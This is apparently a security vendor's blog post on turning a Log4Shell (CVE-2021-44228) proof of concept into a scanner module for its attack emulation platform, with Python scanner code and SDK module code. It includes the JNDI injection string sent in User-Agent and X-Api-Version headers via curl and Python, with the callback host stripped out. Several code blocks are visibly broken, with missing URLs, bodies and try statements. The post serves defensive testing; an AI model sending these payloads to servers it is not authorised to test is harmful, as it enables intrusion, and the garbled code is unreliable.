Porting the Log4J CVE PoC to SCYTHE

Over the weekend, the infosec community put together many tools for scanning and identifying vulnerable Apache Log4j instances for CVE-2021-44228. Information security practitioners have posted Proof of Concept (PoC) code on Github for scanning and exploiting this CVE. In this blog post, we will be walking through taking a PoC to a SCYTHE Module.

If you are a SCYTHE operator and want to use the new module, it is available on our marketplace where you can download it and test your environment quickly.

Researching the Log4J Exploit

We began by looking at this blog post, https://www.lunasec.io/docs/blog/log4j-zero-day/, which provided a good tutorial of how the exploit works, and what it is actually doing. Then we began by writing proof of concept code to see how this exploit will work.  


We looked at the vulnerable code and found a docker container which allows us to test exploits. 


docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app


From another window, we can test if our connection using the User-Agent header will work. 


curl -H 'User-Agent: ${jndi:ldap://}'


If you use the command “${jndi:ldap://” you will get a “Hello World” which will show the code is vulnerable. 


Writing the Log4J PoC for SCYTHE

Now we can begin writing the python script to test this. Open up your favorite editor and create a new python script called log4j_poc.py. We can now install the following code. 


import requests


def checkTarget(target,payload="${jndi:ldap://}"):


        print(f"Trying {payload} on {target}")

        req = requests.get(


                headers={"User-Agent":payload,'X-Api-Version': payload},



    except requests.exceptions.ConnectionError as e:

        print(f"Connection Refused.")

     except requests.exceptions.Timeout:

        vprint("Request Timeout.")

    except Exception as e:

        vprint(“Exception raised: ” + str(e)) 

def main():



if __name__ == "__main__":



Next we can run the following command to make sure we have the requests package installed. We can do this by running the following command.


On a terminal or powershell prompt, go to the directory where we created the python PoC and run the following commands. 


python -m venv .env


pip install requests


If we run this code that we have just written, we will see the following output. 


python log4j-poc.py

Trying ${jndi:ldap://} on

b'Hello, world!'


Now that our code works, and shows the output, we can start writing a new module. 

Creating a New Log4J SCYTHE Module

If you don’t have the SCYTHE software development kit (SDK),  it is here.

Open up the Module Buster SDK, and Click New Module


  • Runtime → Python 3
  • Target Operating System → Windows
  • CPU Architecture → x86 & x64
  • Module Type → Capability
  • Company Name → test_company
  • Module Name → log4j_scanner
  • Display Name → log4J_scanner
  • Description → Test if a server(s) is vulnerable to the log4j CVE.
  • Icon File → (insert any 77x77 PNG)
  • Save Location → C:\Users\<YOUR_USERNAME>\Desktop

… and click “Create Module”!

Now we can begin writing our SCYTHE Module. 

This will create the following directory structure on your desktop:


All the files contained within the src directory utilize the default “Echo” SCYTHE Module. And there are two files particular worth noting:

     A. The SCYTHE “client” file, which is the code that will be run on a target endpoint. Located at the following location:

  • ...\src\py\test_company\log4j_scanner\log4j_scanner.py

     B. The SCYTHE “server” file, which is the code the SCYTHE server uses to define arguments sent to the client, server-side formatting, etc., is located at:

  • ...\src\artifacts\scripts\test_company\log4j_scanner\log4j_scanner.py

Adding 3rd Party modules. 

We need to now add any 3rd party packages to our SCYTHE module. To do this we need to go look in our /.env/Lib/site-packages, and get the certifi, idna, requests, and urllib3 and copy them into our environment, ../src/py/ directory.


Modifying the POC for SCYTHE


We can now start working on the source code for our SCYTHE module. If we open a text editor to .../src/py/log4j_scanner.py. Here we will change our code around a little bit to work in the SCYTHE environment. 


import requests

verbose = True

result = ""


def vprint(status):

    global result

    result += str(status) + "\n"

    if verbose:



def checkTarget(target,payload):


        req = requests.get(


            headers={"User-Agent": payload},




        vprint("Testing " + payload + " on " + target + " results: ")

        if req.status_code >= 200 and req.status_code <= 300:

            vprint(" " + req.text.strip())

    except requests.exceptions.Timeout:

        vprint("Request Timeout.")

    except requests.exceptions.ConnectionError as e:

        vprint(target + ": Connection Refused. ")

    except Exception as e:



def main(targets,payload):

    global result 

    result = ""

    for target in targets:


    return result 


if __name__ == "__main__":



Next we can write a client module. 


We can do this by modifying the code in ../src/py/test_company/log4j_scanner/log4j_scanner.py. 


We will only need to modify the run() function. 


def run(message,  **kwargs):

    message_dict = json.loads(message.decode("utf-8"))

    # Get result of main's return

    result = log4j_scanner.main(targets=message_dict["targets"],payload=message_dict['payload'])

    result = ''.join([c for c in result if ord(c) > 31 or ord(c) == 9])


    message = result.encode("utf-8")

    return message


The lines we’ve added will parse the dictionary we get from the SCYTHE server, and will call our main function from the PoC code we just modified in the log4j_scanner, in the top directory of py. We can now work on the server side code for us to pass in command line arguments to our code. 


Modifying Server Code

We can now modify the code under .../src/artifacts/scripts/test_company/log4j_scanner/log4j_scanner.py. 


First we will modify the code to pass in our command line arguments. When we call the module from our server we want to provide the end user two options. 


First they should be able to pass a list of targets for our code to scan. Next, they should be able to pass a different payload to try on the clients. 


To accomplish this, we will change the create_parser function first.


def create_parser(db, os="windows"):

    class ArgumentParser(argparse.ArgumentParser):

        def error(self, message):

            raise ValueError(message)


    epilog =  '  scythe.log4j_scanner --targets http://localhost:8080 http://domain.com \n'

    parser = ArgumentParser(prog="log4j_scanner", description="Test a server for Log4j CVE-2021-44228E.",


    parser.add_argument("--targets", help="List of target servers to scan",required=True,nargs="*",type=str, default=[])

    parser.add_argument("--payload",help="Payload to try on list of servers. Default: '${jndi:ldap://}'",required=False,default="${jndi:ldap://}")

    return parser


Now we can pass in a command line argument as follows.


scythe.log4j_scanner --targets http://localhost:8080 http://localhost:1337 


Next, we need to work on passing the list of targets and payload to our client. 

We will do this by modifying the create_message_body function. 


def create_message_body(db, command_line, campaign_name, endpoint_name):

  parser = create_parser(db, db.get_campaign_operating_system_name(campaign_name))


  if not command_line:

       raise ValueError("Error: arguments are missing.")


        argv = shlex.split(command_line, posix=False)

    args = parser.parse_args(argv)        


  if not args.targets:

        raise ValueError(f"Error: --targets could not be parsed {args.targets}")

  if not args.payload:

        raise ValueError(f"Error: --payload could not be parsed {args.payload}")

    dict_to_send = {

        "targets" : args.targets,

        "payload" : args.payload



    return json.dumps(dict_to_send).encode("utf-8")


This now allows us to pass the list of our targets to the SCYTHE client to test. We now just need to modify one more function.


Testing our Module


Now that we have the 3 components of our codebase written, we can test our codebase in module buster by performing the following commands. 


On Windows:

    In a developer command prompt, change directories to your C:\Users\<YOUR_USERNAME>\Desktop\modules\python3\log4j_scanner\windows and run the following command. 

    > ./build.bat

On Linux or macOS:

    In a terminal windows, change directories to /Users/<YOUR_USERNAME>/Desktop/modules/python3/log4j_scanner/<linux,macos>/

    > make


If there are no compilation options, we can now try running our codebase. 



  • Module Directory → C:\Users\<Your Username>Desktop\modules\python3\log4j_scanner\windows
  • CPU Architecture → x86
  • Module Command → --targets http://localhost:8080 http://localhost:8113
  • Runtime → C:\Program Files\Scythe\Module Buster\resources\app\runtimes\python3\x86\windows\python3rt.dll

Then press Validate Module

If everything went well, we should be able to see this now. 

Further Reading and Research


This post discusses active research by SCYTHE and other cited third parties into an ongoing threat. The information in this post should be considered preliminary and may be updated as research continues. This information is provided “as-is” without any warranty or condition of any kind, either express or implied.


SCYTHE provides an advanced attack emulation platform for the enterprise and cybersecurity consulting market. The SCYTHE platform enables Red, Blue, and Purple teams to build and emulate real-world adversarial campaigns in a matter of minutes. Customers are in turn enabled to validate the risk posture and exposure of their business and employees and the performance of enterprise security teams and existing security solutions. Based in Arlington, VA, the company is privately held and is funded by Gula Tech Adventures, Paladin Capital, Evolution Equity, and private industry investors. For more information email info@scythe.io, visit https://scythe.io, or follow on Twitter @scythe_io.